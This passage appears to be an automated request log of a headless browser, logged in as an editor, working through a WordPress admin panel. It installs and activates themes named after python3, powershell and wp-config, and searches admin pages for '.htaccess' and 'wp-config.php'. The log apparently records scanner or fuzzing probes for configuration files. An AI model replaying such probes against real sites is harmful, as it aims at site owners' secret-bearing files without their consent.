wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 